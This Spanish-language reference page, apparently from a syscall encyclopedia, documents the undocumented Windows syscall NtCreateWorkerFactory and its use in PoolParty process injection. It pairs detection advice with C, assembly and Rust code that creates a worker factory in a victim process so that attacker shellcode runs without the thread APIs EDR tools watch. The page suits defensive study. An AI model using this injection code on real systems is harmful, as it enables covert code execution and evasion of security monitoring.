NtCreateWorkerFactory

Prototipo

NTSTATUS NtCreateWorkerFactory(
  PHANDLE             WorkerFactoryHandleReturn,
  ACCESS_MASK         DesiredAccess,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  HANDLE              CompletionPortHandle,
  HANDLE              WorkerProcessHandle,
  PVOID               StartRoutine,
  PVOID               StartParameter,
  ULONG               MaxThreadCount,
  SIZE_T              StackReserve,
  SIZE_T              StackCommit
);

Argumentos

IDs de syscalls por versión de Windows

Stub del syscall

4C 8B D1            mov r10, rcx
B8 D5 00 00 00      mov eax, 0xD5
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notas no documentadas

NtCreateWorkerFactory es la mitad del kernel del threadpool de Windows en modo usuario: cada `CreateThreadpool`, `CreateThreadpoolWork`, `SubmitThreadpoolWork` en kernel32 / ntdll termina conduciendo un objeto `WorkerFactory` vía este syscall. La factory enlaza un puerto de finalización de E/S (origen de los elementos de trabajo), un proceso objetivo para los hilos y una `StartRoutine` invocada al activar los hilos. Para código legítimo esa StartRoutine es `ntdll!TppWorkerThread`, que luego itera en `NtWaitForWorkViaWorkerFactory`. El diseño no documentado — un único syscall que crea hilos en un proceso arbitrario con punto de entrada arbitrario — lo convierte en una primitiva de inyección poderosa, y el número de syscall cambia casi en cada feature release.

Uso común por malware

Es la base de la familia de inyección PoolParty divulgada por Alon Leviev (SafeBreach) en Black Hat Europe 2023. Variante canónica: abrir un handle a un proceso remoto, crear un puerto de finalización de E/S y una worker factory en ese proceso con `StartRoutine` apuntando al shellcode del atacante en el espacio remoto, y luego postear trabajo para despertar hilos. Resultado: ejecución de código en el objetivo *sin invocar nunca* `NtCreateThreadEx`, `NtQueueApcThread`, `NtSetContextThread`, `CreateRemoteThread`, `RtlCreateUserThread`, `NtMapViewOfSection` ni ninguna de las siete u ocho primitivas de creación de hilo que casi todos los EDR hookean. Ocho variantes distintas de PoolParty acaban todas aquí.

Oportunidades de detección

La creación de worker factory que cruza fronteras de proceso es la señal de mayor fidelidad. Un `NtCreateWorkerFactory` inter-proceso (donde `WorkerProcessHandle` no se refiere al proceso llamador) es esencialmente inédito fuera del herramental ofensivo. ETW ofrece cobertura limitada — el proveedor Microsoft-Windows-Threading emite algunos eventos de worker factory pero no el syscall en sí; el proveedor Threat-Intelligence no cubre esta primitiva actualmente. Detección práctica: inspección por callback de kernel del `ProcessHandle` del objeto `WorkerFactory` contra el EPROCESS creador, o hooking en modo usuario de ntdll!NtCreateWorkerFactory (que los syscalls directos eluden — momento en el que se necesita el enfoque del kernel). El escaneo VAD del proceso objetivo en busca de regiones RX sin imagen seguido de una worker factory referenciando esa región es la caza post-incidente más limpia.

Ejemplos de syscalls directos

// PoolParty 'Worker Factory Start Routine Overwrite' skeleton.
// Assumes hProc opened with PROCESS_ALL_ACCESS, shellcode already written
// to pRemoteShellcode (RX) in the victim.

HANDLE hIoCompletion = NULL;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);

// 1. Create an I/O completion port in *our* process — the kernel just needs a handle.
NtCreateIoCompletion(&hIoCompletion, IO_COMPLETION_ALL_ACCESS, &oa, 0);

// 2. Duplicate it into the victim so the worker factory there can consume it.
HANDLE hRemoteIoCompletion = NULL;
NtDuplicateObject(NtCurrentProcess(), hIoCompletion, hProc, &hRemoteIoCompletion,
                  0, 0, DUPLICATE_SAME_ACCESS);

// 3. Create the worker factory in the victim. StartRoutine = shellcode.
HANDLE hWorkerFactory = NULL;
NtCreateWorkerFactory(&hWorkerFactory,
                      WORKER_FACTORY_ALL_ACCESS, NULL,
                      hRemoteIoCompletion,
                      hProc,                    // <-- victim process
                      pRemoteShellcode,         // <-- attacker payload
                      NULL,                     // StartParameter
                      1, 0x100000, 0x10000);

// 4. Post a single work item — wakes one worker thread, which jumps to shellcode.
NtSetIoCompletion(hIoCompletion, NULL, NULL, STATUS_SUCCESS, 1);

; NtCreateWorkerFactory direct syscall — SSN drifts per build, resolve dynamically in production.
NtCreateWorkerFactory PROC
    mov  r10, rcx
    mov  eax, 0D5h     ; Win11 24H2 / Server 2025
    syscall
    ret
NtCreateWorkerFactory ENDP

// Cargo: windows-sys = "0.59" ; ntapi = "0.4" for the prototype.
// Demonstrates the cross-process flag — flagged by Sysmon EID 10 on the OpenProcess.
use ntapi::ntpsapi::NtCurrentProcess;
use ntapi::ntexapi::NtCreateWorkerFactory;
use windows_sys::Win32::Foundation::HANDLE;

unsafe fn spawn_remote_worker(
    victim: HANDLE,
    remote_iocp: HANDLE,
    remote_payload: *mut core::ffi::c_void,
) -> HANDLE {
    let mut wf: HANDLE = 0;
    let status = NtCreateWorkerFactory(
        &mut wf as *mut _ as *mut _,
        0x000F00FF, // WORKER_FACTORY_ALL_ACCESS
        core::ptr::null_mut(),
        remote_iocp,
        victim,
        remote_payload,
        core::ptr::null_mut(),
        1,
        0x100000,
        0x10000,
    );
    assert_eq!(status, 0, "NtCreateWorkerFactory failed: {status:#x}");
    wf
}

Mapeos MITRE ATT&CK

• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗